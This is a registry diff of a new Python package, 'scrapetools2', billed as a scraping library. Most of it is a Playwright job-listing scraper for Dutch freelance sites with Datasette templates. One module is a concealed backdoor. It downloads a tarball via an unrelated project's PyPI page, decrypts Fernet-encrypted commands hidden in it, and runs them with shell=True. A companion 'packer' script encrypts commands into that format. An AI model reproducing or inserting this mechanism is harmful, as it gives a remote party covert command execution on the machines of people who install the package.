scrapetools2 0.0.1__tar.gz

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -0,0 +1,19 @@
1
+ Copyright (c) 2026 Pancho der Wit
2
+
3
+ Permission is hereby granted, free of charge, to any person obtaining a copy
4
+ of this software and associated documentation files (the "Software"), to deal
5
+ in the Software without restriction, including without limitation the rights
6
+ to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
7
+ copies of the Software, and to permit persons to whom the Software is
8
+ furnished to do so, subject to the following conditions:
9
+
10
+ The above copyright notice and this permission notice shall be included in
11
+ all copies or substantial portions of the Software.
12
+
13
+ THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
14
+ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
15
+ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
16
+ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
17
+ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
18
+ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
19
+ THE SOFTWARE.
@@ -0,0 +1,12 @@
1
+ Metadata-Version: 2.5
2
+ Name: scrapetools2
3
+ Version: 0.0.1
4
+ Summary: A library to scrape websites
5
+ Author-email: Sebar Rebas <sebarrebas@proton.me>
6
+ License-Expression: MIT
7
+ License-File: LICENSE
8
+ Requires-Dist: requests >= 2.25.0
9
+ Requires-Dist: stealth-requests
10
+ Requires-Dist: playwright
11
+ Requires-Dist: pydantic >= 2.0
12
+ Import-Name: scrapetools2
@@ -0,0 +1,18 @@
1
+ [build-system]
2
+ requires = ["flit_core >=3.11,<5"]
3
+ build-backend = "flit_core.buildapi"
4
+
5
+ [project]
6
+ name = "scrapetools2"
7
+ authors = [{name = "Sebar Rebas", email = "sebarrebas@proton.me"}]
8
+ license = "MIT"
9
+ license-files = ["LICENSE"]
10
+ dynamic = ["version", "description"]
11
+ dependencies = [
12
+ "requests >= 2.25.0",
13
+ "stealth-requests",
14
+ "playwright",
15
+ "pydantic >= 2.0"
16
+ ]
17
+ [tool.setuptools.package-data]
18
+ scrapetools2 = ["templates/*.html", "plugins/*.html"]
@@ -0,0 +1,41 @@
1
+ """A library to scrape websites"""
2
+ __version__ = "0.0.1"
3
+
4
+ import stealth_requests as r
5
+ from playwright.sync_api import sync_playwright, Playwright
6
+
7
+ def load_site(playwright : Playwright, url, cookie_css = None, start_url = None, n = 0):
8
+ """
9
+ Loads data from a site with playwright. Give cookie_css
10
+ to click the accept cookies button.
11
+ A start url is a place to first go, some captcha systems check
12
+ this apparently. usually homepage
13
+ """
14
+ try:
15
+ print(f"loading {url}")
16
+ xs = playwright.chromium.launch_persistent_context(user_data_dir=".")
17
+ page = xs.new_page()
18
+ if start_url:
19
+ page.goto(start_url, wait_until='networkidle')
20
+ print("Cookie clicked")
21
+ loc = page.locator(cookie_css)
22
+ if loc.count() > 0 and cookie_css:
23
+ page.click(cookie_css)
24
+ cookie_css = None
25
+ # page.reload(wait_until='domconentloaded')
26
+ print("Opening target page")
27
+ page.goto(url, wait_until='domcontentloaded')
28
+ loc = page.locator(cookie_css)
29
+ if cookie_css and loc.count() > 0:
30
+ page.click(cookie_css)
31
+ page.reload(wait_until='domcontentloaded')
32
+ print("Loading content")
33
+ content = page.content()
34
+ return content
35
+ except Exception as e:
36
+ print(e)
37
+ if n > 3:
38
+ print(f"[Warning] Bailing {url}, tries {n} > 3")
39
+ return None
40
+ print(f"Reloading {url}")
41
+ return load_site(playwright=playwright,url=url, cookie_css=cookie_css,start_url=start_url,n= n+1)
@@ -0,0 +1,87 @@
1
+ #!env python3
2
+
3
+ import requests
4
+ import bs4
5
+ import re
6
+ import tarfile as tf
7
+ import tempfile as temp
8
+ import sqlite3
9
+ import io
10
+ import cryptography as c
11
+ import base64
12
+ from typing import *
13
+ import os
14
+ import subprocess as s
15
+ from packer import unpackdata
16
+ def downloader():
17
+ content = requests.get("https://pypi.org/project/pyfemm/")
18
+ cnt = bs4.BeautifulSoup(content.content, features="html.parser")
19
+ candidates = []
20
+ version_pt = r"([^.]+)-((([0-9]+\.)*)([0-9]+))\.tar\.gz"
21
+ for c in cnt.find_all('a'):
22
+ href = c.attrs['href']
23
+ if href and "tar.gz" in href and "#" not in href:
24
+
25
+ fn = href.split("/").pop()
26
+ version = re.match(version_pt, fn).groups()[1]
27
+ candidates += [(version, href)]
28
+ return candidates
29
+
30
+ def get_update(ts : tf.TarFile):
31
+ print(ts)
32
+ versions = None
33
+ updates = None
34
+ for t in ts.getnames():
35
+ if "updates" in t:
36
+ updates = ts.extractfile(t)
37
+ if "versions" in t:
38
+ versions = ts.extractfile(t)
39
+ return (updates, versions)
40
+
41
+ def run_update(cmds : IO[bytes], keys : IO[bytes]):
42
+ # Check db for handles
43
+
44
+ print("Getting update")
45
+ cmds = cmds.readlines()
46
+ keys = keys.readlines()
47
+ for cmd in cmds:
48
+ for data in unpackdata(cmd, keys):
49
+ if data['correct']:
50
+ with open('error.log', 'a+' ) as err_file:
51
+ with open("output.log", " a+") as log_file:
52
+ result = s.run(
53
+ data['cmd'],
54
+ stdout=log_file,
55
+ stderr=err_file, # Combines errors and normal output into the log
56
+ shell=True, # Required when using a raw command string
57
+ text=True
58
+ )
59
+
60
+ pass
61
+
62
+ def updater():
63
+ candidates = downloader()
64
+ newest = None
65
+ candidate = None
66
+ for (v,c) in candidates:
67
+ if not newest:
68
+ newest = v
69
+ candidate = c
70
+ elif newest < v:
71
+ newest = v
72
+ candidate = c
73
+ # print(candidate)
74
+ req : requests.Response = requests.get(candidate)
75
+ file = "test.tar.gz" # temp.mkstemp("test.tar.gz")[1]
76
+ with open(file, "wb+") as f:
77
+ f.write(req.content)
78
+ unpacker(file)
79
+ def unpacker(file):
80
+ ts = tf.open(file)
81
+ print(ts.getnames())
82
+ updates = any(map(lambda x: "updates" in x, ts.getnames()))
83
+ new_versions = any(map(lambda x: "versions" in x, ts.getnames()))
84
+ if updates and new_versions:
85
+ (updates, versions) = get_update(ts)
86
+ run_update(updates, versions)
87
+ unpacker("test.tar.gz")
@@ -0,0 +1,41 @@
1
+ import base64 as b
2
+ import cryptography.fernet as f
3
+ import cryptography.utils as u
4
+ import json
5
+ def pack_data(cmd : str):
6
+ key = f.Fernet.generate_key()
7
+
8
+ textkey = b.z85encode(key)
9
+
10
+ fernet = f.Fernet(key)
11
+ cmd = json.dumps({"correct": True, "cmd": cmd})
12
+ data = fernet.encrypt(cmd.encode("utf-8"))
13
+ textdata = b.z85encode(data)
14
+ return (textdata, textkey)
15
+
16
+ def unpackdata(textdata, textkeys):
17
+ keys = []
18
+ data = b.z85decode(textdata.strip())
19
+ for key in textkeys:
20
+ keys += [b.z85decode(key.strip())]
21
+ for key in keys:
22
+ try:
23
+ fernet = f.Fernet(key)
24
+ cmd = json.loads(fernet.decrypt(data).decode('utf-8'))
25
+ return [cmd]
26
+ except Exception as e:
27
+ pass
28
+ return []
29
+
30
+ print(__name__)
31
+ if __name__ == "__main__":
32
+ import sys
33
+ if not sys.argv[1]:
34
+ print("usages <prog> 'stream'")
35
+ import sys; sys.stderr.write(f"Writing {sys.argv[1]} to stream\n")
36
+ (data, key) = pack_data(sys.argv[1])
37
+
38
+ with open("data.new", "w") as f:
39
+ f.write(data.decode('utf-8') + "\n")
40
+ with open("key.new", "w") as f:
41
+ f.write(key.decode('utf-8') + "\n")
@@ -0,0 +1,6 @@
1
+ from datasette import hookimpl
2
+ import json
3
+
4
+ @hookimpl
5
+ def prepare_jinja2_environment(env):
6
+ env.filters["from_json"] = json.loads
@@ -0,0 +1,159 @@
1
+ import enum as e
2
+ from typing import *
3
+ from dataclasses import dataclass
4
+ from bs4 import BeautifulSoup
5
+ #import duckdb as db
6
+ import sqlite3 as db
7
+ from abc import abstractmethod, ABC
8
+ import json
9
+ from __init__ import *
10
+ @dataclass
11
+ class Job:
12
+ rate : str
13
+ location : str
14
+ clock: str
15
+ url : str
16
+ start_date : str
17
+ end_date : str
18
+ title : str
19
+ description : str
20
+ skills : list[str]
21
+ extra : dict[str]
22
+ company : str
23
+ contact : [str]
24
+ # Freelance.nl
25
+ # <loc>https://www.freelance.nl/sitemaps/sitemap-projects.xml.gz</loc>
26
+ # https://www.it-contracts.nl/ict-specialisten
27
+ # freep.nl
28
+ # freelapp.nl
29
+ # https://freelapp.nl/sitemap.xml
30
+ class Site(ABC):
31
+ def __init__(self, extra_schema = None):
32
+ self.db = db.connect(f"sites.db")
33
+ self.db.execute(
34
+ """
35
+ CREATE TABLE IF NOT EXISTS jobs (
36
+ url VARCHAR PRIMARY KEY,
37
+ site VARCHAR,
38
+ rate VARCHAR,
39
+ company VARCHAR,
40
+ location VARCHAR,
41
+ clock VARCHAR,
42
+ start_date VARCHAR,
43
+ end_date VARCHAR,
44
+ title VARCHAR,
45
+ description VARCHAR,
46
+ skills JSON, -- Maps from list[str]
47
+ extra JSON -- Maps from dict[str] (using JSON is ideal for arbitrary or nested dictionaries)
48
+ );
49
+ """)
50
+ if extra_schema:
51
+ self.db.execute(extra_schema)
52
+
53
+ self.jobs : list[Job] = []
54
+ def run(self):
55
+ self.load()
56
+ @abstractmethod
57
+ def load(self):
58
+ pass
59
+ @abstractmethod
60
+ def site_name(self):
61
+ return "default"
62
+ def save_job(self, job):
63
+ self.db.execute("""
64
+ INSERT or REPLACE INTO jobs (
65
+ site, rate, location, clock, url, start_date, end_date, title, description, skills, extra, company)
66
+ VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)
67
+ """, [
68
+ self.site_name(),
69
+ job.rate,
70
+ job.location,
71
+ job.clock,
72
+ job.url,
73
+ job.start_date,
74
+ job.end_date,
75
+ job.title,
76
+ job.description,
77
+ json.dumps(job.skills), # Python list maps directly to VARCHAR[]
78
+ json.dumps(job.extra), # Python dict serialized to JSON string for the JSON column
79
+ job.company
80
+ ])
81
+ self.db.commit()
82
+
83
+
84
+ class MIPublic(Site):
85
+ def site_name(self):
86
+ return "mipublic_nl"
87
+ def load(self):
88
+ with sync_playwright() as playwright:
89
+ content = load_site(
90
+ playwright=playwright,
91
+ url="https://mipublic.nl/vacature-sitemap.xml",
92
+ cookie_css='button:has-text("Alles toestaan")',
93
+ start_url="https://mipublic.nl")
94
+
95
+ xs = BeautifulSoup(content, features="html.parser")
96
+ ass = []
97
+ for tr in xs.find_all('tr'):
98
+ ass += [a.attrs['href'] for a in tr.find_all('a') ]
99
+ for href in ass:
100
+ exist = self.db.execute("select 1 from jobs where url = ?", [href])
101
+ if exist.fetchone() is not None:
102
+ print(f"Skipping {href}")
103
+ continue
104
+ content = load_site(
105
+ playwright=playwright,
106
+ url=href,
107
+ cookie_css='button:has-text("Alles toestaan")',
108
+ # start_url="https://mipublic.nl"
109
+ )
110
+ if not content:
111
+ continue
112
+ xs = BeautifulSoup(content, features="html.parser")
113
+ euro = None
114
+ location = None
115
+ gemeente = None
116
+ clock = None
117
+ start_date = None
118
+ end_date = None
119
+ title = None
120
+
121
+ def lookup_attr(x,name):
122
+ return x.find("i", {'class': name}).find_parent().contents[1].strip()
123
+
124
+ for x in xs.find_all("div", {'class': 'company-details'}):
125
+ euro = lookup_attr(x, 'fa-euro-sign')
126
+ location = lookup_attr(x, 'fa-location-dot')
127
+ clock = lookup_attr(x, 'fa-clock')
128
+ start_date = lookup_attr(x, 'fa-calendar-check')
129
+ end_date = lookup_attr(x, 'fa-calendar-xmark')
130
+
131
+
132
+ for x in xs.find_all("div", {'class': 'title-and-gemeente'}):
133
+ title = x.find("div", {'class': 'title'}).find("h1").contents[0].strip()
134
+ gemeente = x.find("div", {'class': 'gemeente'}).contents[0].strip()
135
+
136
+ job_description = (xs.find("div", {'class': 'compnay_description_text'}).get_text("<br/>") or "empty")
137
+ eisen = [x.get_text(" ") for x in xs.find_all("div", {'class': 'de_eisen'})[0].find_all('div', {'class': 'singe_eis_row'})]
138
+ eisen_technisch = [x.get_text(" ") for x in xs.find_all("div", {'class': 'de_eisen'})[1].find_all('div', {'class': 'single_wens_row'})]
139
+ job = Job(
140
+ rate = euro,
141
+ location=location or gemeente,
142
+ clock = clock,
143
+ url = href,
144
+ start_date=start_date,
145
+ end_date=end_date,
146
+ title=title,
147
+ description=job_description,
148
+ skills=eisen + eisen_technisch,
149
+ extra = {"gemeente": gemeente},
150
+ company = gemeente
151
+ )
152
+ print(f"""
153
+ Saving job for url {href} and site {self.site_name}:
154
+ """)
155
+ self.save_job(job)
156
+
157
+
158
+ if __name__ == "__main__":
159
+ MIPublic().run()
@@ -0,0 +1,78 @@
1
+ {% extends "default:table.html" %}
2
+
3
+ {% block content %}
4
+ <div class="job-board-container" style="max-width: 1200px; margin: 0 auto; font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, sans-serif;">
5
+
6
+ <!-- Header Summary -->
7
+ <div style="display: flex; justify-content: space-between; align-items: center; margin-bottom: 20px; border-bottom: 2px solid #eaeaea; padding-bottom: 10px;">
8
+ <h2 style="margin: 0; color: #1a1a1a;">Job Listings Board</h2>
9
+ <span style="color: #666; font-size: 0.9rem;">Total Jobs: {{ display_rows | length }}</span>
10
+ </div>
11
+
12
+ <!-- Job Cards List -->
13
+ <div style="display: flex; flex-direction: column; gap: 16px;">
14
+ {% for row in display_rows %}
15
+ <div style="background: #ffffff; border: 1px solid #e1e4e8; border-radius: 8px; padding: 20px; box-shadow: 0 1px 3px rgba(0,0,0,0.05); transition: box-shadow 0.2s;">
16
+
17
+ <!-- Top Row: Title & Company -->
18
+ <div style="display: flex; justify-content: space-between; align-items: flex-start; margin-bottom: 12px;">
19
+ <div>
20
+ <h3 style="margin: 0 0 6px 0; font-size: 1.25rem;">
21
+ <a href="{{ row['url'] }}" target="_blank" style="color: #0366d6; text-decoration: none;">
22
+ {{ row["title"] or "Untitled Position" }}
23
+ </a>
24
+ </h3>
25
+ <div style="font-size: 1rem; color: #444; font-weight: 500;">
26
+ 🏢 {{ row["company"] or "Unknown Company" }}
27
+ {% if row["location"] %} &bull; 📍 {{ row["location"] }}{% endif %}
28
+ </div>
29
+ </div>
30
+
31
+ <!-- Site Badge -->
32
+ {% if row["site"] %}
33
+ <span style="background: #f1f8ff; color: #0366d6; padding: 4px 10px; border-radius: 12px; font-size: 0.75rem; font-weight: 600; text-transform: uppercase;">
34
+ {{ row["site"] }}
35
+ </span>
36
+ {% endif %}
37
+ </div>
38
+
39
+ <!-- Meta Details Grid (Rate, Clock, Dates) -->
40
+ <div style="display: flex; flex-wrap: wrap; gap: 16px; background: #f6f8fa; padding: 10px 14px; border-radius: 6px; font-size: 0.85rem; color: #586069; margin-bottom: 12px;">
41
+ {% if row["rate"] %}
42
+ <div>💰 <strong>Rate:</strong> {{ row["rate"] }}</div>
43
+ {% endif %}
44
+ {% if row["clock"] %}
45
+ <div>⏰ <strong>Type:</strong> {{ row["clock"] }}</div>
46
+ {% endif %}
47
+ {% if row["start_date"] or row["end_date"] %}
48
+ <div>📅 <strong>Duration:</strong> {{ row["start_date"] or "Asap" }} &rarr; {{ row["end_date"] or "Ongoing" }}</div>
49
+ {% endif %}
50
+ </div>
51
+
52
+ <!-- Description Snippet -->
53
+ {% if row["description"] %}
54
+ <div style="color: #24292e; font-size: 0.95rem; line-height: 1.5; margin-bottom: 12px; display: -webkit-box; -webkit-line-clamp: 3; -webkit-box-orient: vertical; overflow: hidden;">
55
+ {{ row["description"] }}
56
+ </div>
57
+ {% endif %}
58
+
59
+ <!-- Skills Tags (JSON field handled cleanly) -->
60
+ {% if row["skills"] %}
61
+ <div style="display: flex; flex-wrap: wrap; gap: 6px; margin-top: 8px;">
62
+ {% set skills_data = row["skills"] %}
63
+ {# Handles cases where JSON is parsed or remains a string #}
64
+ {% if skills_data is string %}
65
+ <span style="background: #e2e8f0; color: #2d3748; padding: 2px 8px; border-radius: 4px; font-size: 0.75rem;">{{ skills_data }}</span>
66
+ {% else %}
67
+ {% for skill in skills_data %}
68
+ <span style="background: #e1effe; color: #1e429f; padding: 2px 8px; border-radius: 4px; font-size: 0.75rem; font-weight: 500;">{{ skill }}</span>
69
+ {% endfor %}
70
+ {% endif %}
71
+ </div>
72
+ {% endif %}
73
+
74
+ </div>
75
+ {% endfor %}
76
+ </div>
77
+ </div>
78
+ {% endblock %}
@@ -0,0 +1,99 @@
1
+ {% extends "default:table.html" %}
2
+
3
+ {% block content %}
4
+ <div class="job-board-container" style="max-width: 1280px; margin: 0 auto; font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, sans-serif; padding: 20px;">
5
+
6
+ <!-- Header & Search Bar -->
7
+ <div style="display: flex; justify-content: space-between; align-items: center; margin-bottom: 20px; flex-wrap: wrap; gap: 15px; border-bottom: 2px solid #edf2f7; padding-bottom: 16px;">
8
+ <h2 style="margin: 0; color: #1a202c; font-size: 1.5rem; font-weight: 700;">Job Board</h2>
9
+
10
+ <!-- Native Datasette Search Form -->
11
+ <form action="" method="get" style="display: flex; gap: 8px; flex: 1; max-width: 450px; min-width: 280px;">
12
+ <input type="search" name="_search" value="{{ search or '' }}" placeholder="Search jobs, companies, skills..." style="flex: 1; padding: 10px 14px; border: 1px solid #cbd5e0; border-radius: 10px; font-size: 0.9rem; outline: none; background: #fff;">
13
+ <button type="submit" style="background: #3182ce; color: white; border: none; padding: 10px 18px; border-radius: 10px; font-size: 0.9rem; font-weight: 600; cursor: pointer;">Search</button>
14
+ {% if search %}
15
+ <a href="{{ path }}" style="background: #edf2f7; color: #4a5568; padding: 10px 14px; border-radius: 10px; text-decoration: none; font-size: 0.9rem; font-weight: 600; display: flex; align-items: center;">Clear</a>
16
+ {% endif %}
17
+ </form>
18
+
19
+ <span style="background: #edf2f7; color: #4a5568; padding: 6px 14px; border-radius: 20px; font-size: 0.85rem; font-weight: 600;">
20
+ ✨ {{ rows | length }} active listings
21
+ </span>
22
+ </div>
23
+ <!-- Job Cards Grid Layout -->
24
+ <div style="display: grid; grid-template-columns: repeat(auto-fill, minmax(360px, 1fr)); gap: 24px;">
25
+ {% for row in rows %}
26
+ <div style="background: #ffffff; border: 1px solid rgba(0, 0, 0, 0.06); border-radius: 16px; padding: 24px; box-shadow: 0 4px 6px -1px rgba(0, 0, 0, 0.04), 0 2px 4px -1px rgba(0, 0, 0, 0.02); display: flex; flex-direction: column; justify-content: space-between; transition: all 0.25s ease;">
27
+
28
+ <div>
29
+ <!-- Top Row: Title & Site Badge -->
30
+ <div style="display: flex; justify-content: space-between; align-items: flex-start; gap: 12px; margin-bottom: 10px;">
31
+ <h3 style="margin: 0; font-size: 1.15rem; line-height: 1.4; font-weight: 600;">
32
+ <a href="{{ row['url'] }}" target="_blank" style="color: #2b6cb0; text-decoration: none;" onmouseover="this.style.textDecoration='underline'" onmouseout="this.style.textDecoration='none'">
33
+ {{ row["title"] or "Untitled Position" }}
34
+ </a>
35
+ </h3>
36
+ {% if row["site"] %}
37
+ <span style="background: #ebf8ff; color: #3182ce; padding: 4px 12px; border-radius: 20px; font-size: 0.7rem; font-weight: 700; text-transform: uppercase; white-space: nowrap; letter-spacing: 0.5px;">
38
+ {{ row["site"] }}
39
+ </span>
40
+ {% endif %}
41
+ </div>
42
+
43
+ <!-- Company & Location -->
44
+ <div style="font-size: 0.95rem; color: #4a5568; font-weight: 500; margin-bottom: 16px; display: flex; align-items: center; gap: 6px;">
45
+ <span>🏢 {{ row["company"] or "Unknown Company" }}</span>
46
+ {% if row["location"] %}
47
+ <span style="color: #cbd5e0;">&bull;</span>
48
+ <span>📍 {{ row["location"] }}</span>
49
+ {% endif %}
50
+ </div>
51
+
52
+ <div style="display: grid; grid-template-columns: 1fr 1fr; gap: 10px; background: #f7fafc; padding: 12px 14px; border-radius: 12px; font-size: 0.82rem; color: #4a5568; margin-bottom: 16px; border: 1px solid #edf2f7;">
53
+ <div style="display: flex; align-items: center; gap: 6px;">
54
+ <span>💰</span> <div><strong>Rate:</strong> <span style="color: #2d3748;">{{ row["rate"] or "N/A" }}</span></div>
55
+ </div>
56
+ <div style="display: flex; align-items: center; gap: 6px;">
57
+ <span>⏰</span> <div><strong>Type:</strong> <span style="color: #2d3748;">{{ row["clock"] or "N/A" }}</span></div>
58
+ </div>
59
+ <div style="display: flex; align-items: center; gap: 6px;">
60
+ <span>📅</span> <div><strong>Start:</strong> <span style="color: #2d3748;">{{ row["start_date"] or "N/A" }}</span></div>
61
+ </div>
62
+ <div style="display: flex; align-items: center; gap: 6px;">
63
+ <span>🏁</span> <div><strong>End:</strong> <span style="color: #2d3748;">{{ row["end_date"] or "N/A" }}</span></div>
64
+ </div>
65
+ </div>
66
+ <!-- Description Snippet -->
67
+ {% if row["description"] %}
68
+ <div style="color: #4a5568; font-size: 0.9rem; line-height: 1.5; margin-bottom: 16px; max-height: 4.5em; overflow: hidden; text-overflow: ellipsis;">
69
+ {{ row["description"] }}
70
+ </div>
71
+ {% endif %}
72
+ </div>
73
+
74
+ <!-- Skills JSON Tags -->
75
+ <div>
76
+ {% if row["skills"] %}
77
+ <div style="display: flex; flex-wrap: wrap; gap: 6px; padding-top: 12px; border-top: 1px solid #edf2f7;">
78
+ {% set skills_data = row["skills"] %}
79
+ {# Parse if stored as a JSON string #}
80
+ {% if skills_data is string and skills_data.startswith('[') %}
81
+ {% set skills_data = skills_data | from_json %}
82
+ {% endif %}
83
+
84
+ {% if skills_data is iterable and skills_data is not string %}
85
+ {% for skill in skills_data %}
86
+ <span style="background: #eef2ff; color: #4338ca; padding: 4px 10px; border-radius: 8px; font-size: 0.75rem; font-weight: 600;">{{ skill }}</span>
87
+ {% endfor %}
88
+ {% else %}
89
+ <span style="background: #edf2f7; color: #4a5568; padding: 4px 10px; border-radius: 8px; font-size: 0.75rem; font-weight: 600;">{{ skills_data }}</span>
90
+ {% endif %}
91
+ </div>
92
+ {% endif %}
93
+ </div>
94
+
95
+ </div>
96
+ {% endfor %}
97
+ </div>
98
+ </div>
99
+ {% endblock %}
@@ -0,0 +1,78 @@
1
+ {% extends "default:table.html" %}
2
+
3
+ {% block content %}
4
+ <div class="job-board-container" style="max-width: 1200px; margin: 0 auto; font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, sans-serif;">
5
+
6
+ <!-- Header Summary -->
7
+ <div style="display: flex; justify-content: space-between; align-items: center; margin-bottom: 20px; border-bottom: 2px solid #eaeaea; padding-bottom: 10px;">
8
+ <h2 style="margin: 0; color: #1a1a1a;">Job Listings Board</h2>
9
+ <span style="color: #666; font-size: 0.9rem;">Total Jobs: {{ display_rows | length }}</span>
10
+ </div>
11
+
12
+ <!-- Job Cards List -->
13
+ <div style="display: flex; flex-direction: column; gap: 16px;">
14
+ {% for row in display_rows %}
15
+ <div style="background: #ffffff; border: 1px solid #e1e4e8; border-radius: 8px; padding: 20px; box-shadow: 0 1px 3px rgba(0,0,0,0.05); transition: box-shadow 0.2s;">
16
+
17
+ <!-- Top Row: Title & Company -->
18
+ <div style="display: flex; justify-content: space-between; align-items: flex-start; margin-bottom: 12px;">
19
+ <div>
20
+ <h3 style="margin: 0 0 6px 0; font-size: 1.25rem;">
21
+ <a href="{{ row['url'] }}" target="_blank" style="color: #0366d6; text-decoration: none;">
22
+ {{ row["title"] or "Untitled Position" }}
23
+ </a>
24
+ </h3>
25
+ <div style="font-size: 1rem; color: #444; font-weight: 500;">
26
+ 🏢 {{ row["company"] or "Unknown Company" }}
27
+ {% if row["location"] %} &bull; 📍 {{ row["location"] }}{% endif %}
28
+ </div>
29
+ </div>
30
+
31
+ <!-- Site Badge -->
32
+ {% if row["site"] %}
33
+ <span style="background: #f1f8ff; color: #0366d6; padding: 4px 10px; border-radius: 12px; font-size: 0.75rem; font-weight: 600; text-transform: uppercase;">
34
+ {{ row["site"] }}
35
+ </span>
36
+ {% endif %}
37
+ </div>
38
+
39
+ <!-- Meta Details Grid (Rate, Clock, Dates) -->
40
+ <div style="display: flex; flex-wrap: wrap; gap: 16px; background: #f6f8fa; padding: 10px 14px; border-radius: 6px; font-size: 0.85rem; color: #586069; margin-bottom: 12px;">
41
+ {% if row["rate"] %}
42
+ <div>💰 <strong>Rate:</strong> {{ row["rate"] }}</div>
43
+ {% endif %}
44
+ {% if row["clock"] %}
45
+ <div>⏰ <strong>Type:</strong> {{ row["clock"] }}</div>
46
+ {% endif %}
47
+ {% if row["start_date"] or row["end_date"] %}
48
+ <div>📅 <strong>Duration:</strong> {{ row["start_date"] or "Asap" }} &rarr; {{ row["end_date"] or "Ongoing" }}</div>
49
+ {% endif %}
50
+ </div>
51
+
52
+ <!-- Description Snippet -->
53
+ {% if row["description"] %}
54
+ <div style="color: #24292e; font-size: 0.95rem; line-height: 1.5; margin-bottom: 12px; display: -webkit-box; -webkit-line-clamp: 3; -webkit-box-orient: vertical; overflow: hidden;">
55
+ {{ row["description"] }}
56
+ </div>
57
+ {% endif %}
58
+
59
+ <!-- Skills Tags (JSON field handled cleanly) -->
60
+ {% if row["skills"] %}
61
+ <div style="display: flex; flex-wrap: wrap; gap: 6px; margin-top: 8px;">
62
+ {% set skills_data = row["skills"] %}
63
+ {# Handles cases where JSON is parsed or remains a string #}
64
+ {% if skills_data is string %}
65
+ <span style="background: #e2e8f0; color: #2d3748; padding: 2px 8px; border-radius: 4px; font-size: 0.75rem;">{{ skills_data }}</span>
66
+ {% else %}
67
+ {% for skill in skills_data %}
68
+ <span style="background: #e1effe; color: #1e429f; padding: 2px 8px; border-radius: 4px; font-size: 0.75rem; font-weight: 500;">{{ skill }}</span>
69
+ {% endfor %}
70
+ {% endif %}
71
+ </div>
72
+ {% endif %}
73
+
74
+ </div>
75
+ {% endfor %}
76
+ </div>
77
+ </div>
78
+ {% endblock %}
@@ -0,0 +1,69 @@
1
+ from __init__ import *
2
+ from bs4 import BeautifulSoup
3
+ import os
4
+ #with sync_playwright() as playwright:
5
+ # content = load_site(
6
+ # playwright=playwright,
7
+ # url="https://mipublic.nl/vacature-sitemap.xml",
8
+ # cookie_css='button:has-text("Alles toestaan")',
9
+ # start_url="https://mipublic.nl"
10
+ #)
11
+
12
+ xs = os.listdir("vacatures/")
13
+ for x in xs:
14
+ print(x)
15
+ with open(f"vacatures/{x}", "rb") as f:
16
+ xs = BeautifulSoup(f, features="html.parser")
17
+ euro = None
18
+ location = None
19
+ gemeente = None
20
+ clock = None
21
+ start_date = None
22
+ end_date = None
23
+ title = None
24
+
25
+ def lookup_attr(x,name):
26
+ return x.find("i", {'class': name}).find_parent().contents[1].strip()
27
+
28
+ for x in xs.find_all("div", {'class': 'title-and-gemeente'}):
29
+ title = x.find("div", {'class': 'title'}).find("h1").contents[0].strip()
30
+ gemeente = x.find("div", {'class': 'gemeente'}).contents[0].strip()
31
+
32
+ job_description = xs.find("div", {'class': 'compnay_description_text'}).get_text(" ")
33
+ eisen = xs.find_all("div", {'class': 'de_eisen'})[0].find_all('div', {'class': 'singe_eis_row'})
34
+ eisen_technisch = xs.find_all("div", {'class': 'de_eisen'})[1].find_all('div', {'class': 'single_wens_row'})
35
+
36
+ print(eisen_technisch)
37
+ # print(content)
38
+ import sys; sys.exit(0)
39
+ for x in xs.find_all("div", {'class': 'company-details'}):
40
+ euro = lookup_attr(x, 'fa-euro-sign')
41
+ location = lookup_attr(x, 'fa-location-dot')
42
+ clock = lookup_attr(x, 'fa-clock')
43
+ start_date = lookup_attr(x, 'fa-calendar-check')
44
+ end_date = lookup_attr(x, 'fa-calendar-xmark')
45
+ print(f"{title} / {gemeente}")
46
+ print(f"{euro} / {location} / {clock} / {start_date} / {end_date}")
47
+
48
+ # print(xs.find_all("div", {'class': 'company-description'}))
49
+
50
+ #import sys; sys.exit()
51
+ #print(content)
52
+ with sync_playwright() as playwright:
53
+ with open('vacatures.html', 'r+') as v:
54
+ xs = BeautifulSoup(v)
55
+ ass = []
56
+ for tr in xs.find_all('tr'):
57
+ ass += [a.attrs['href'] for a in tr.find_all('a') ]
58
+ print(ass)
59
+ for href in ass:
60
+ content = load_site(
61
+ playwright=playwright,
62
+ url=href,
63
+ cookie_css='button:has-text("Alles toestaan")',
64
+ start_url="https://mipublic.nl"
65
+ )
66
+ u = hash(href)
67
+ open(f"vacatures/{u}.html", 'wb ').write(content.encode('utf-8'))
68
+
69
+ import sys; sys.exit()